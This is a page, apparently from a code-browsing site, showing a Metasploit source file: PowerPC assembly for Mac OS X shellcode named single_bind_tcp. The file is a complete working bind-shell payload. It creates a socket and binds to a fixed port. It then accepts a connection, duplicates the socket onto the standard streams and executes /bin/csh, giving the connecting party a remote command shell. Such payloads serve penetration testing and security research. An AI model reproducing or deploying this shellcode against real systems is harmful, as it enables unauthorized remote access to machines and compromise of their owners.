Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/osx/ppc/single_bind_tcp.asm
Views: 11784
;;1;2; Name: single_bind_tcp3; Qualities: Can Have Nulls4; Platforms: MacOS X / PPC5; Authors: H D Moore <hdm [at] metasploit.com>6; Version: $Revision: 1612 $7; License:8;9; This file is part of the Metasploit Exploit Framework10; and is subject to the same licenses and copyrights as11; the rest of this package.12;13; Description:14;15; Quick and dirty bind shell16;17;18;;192021.globl _main22.globl _execsh23.text2425_main:2627_socket:28li r3, 229li r4, 130li r5, 631li r0, 9732sc33xor r0, r0, r034mr r30, r33536bl _bind37.long 0x0002231238.long 0x000000003940_bind:41mflr r442li r5, 1643li r0, 10444mr r3, r3045sc46xor r0, r0, r04748_listen:49li r0, 10650mr r3, r3051sc52xor r0, r0, r05354_accept:55mr r3, r3056li r0, 3057li r4, 1658stw r4, -24(r1)59subi r5, r1, 2460subi r4, r1, 1661sc62xor r0, r0, r063mr r30, r36465_setup_dup2:66li r5, 26768_dup2:69li r0, 9070mr r3, r3071mr r4, r572sc73xor r0, r0, r074subi r5, r5, 175cmpwi r5, -176bnel _dup27778_fork:79li r0, 280sc81xor r5, r5, r58283_execsh:84;; based on ghandi's execve85xor. r5, r5, r586bnel _execsh87mflr r388addi r3, r3, 28 ; distance to path89stw r3, -8(r1) ; argv[0] = path90stw r5, -4(r1) ; argv[1] = NULL91subi r4, r1, 8 ; r4 = {path, 0}92li r0, 5993sc ; execve(path, argv, NULL)9495; csh removes the need for setuid()96path:97.ascii "/bin/csh"98.long 0x0041424399100101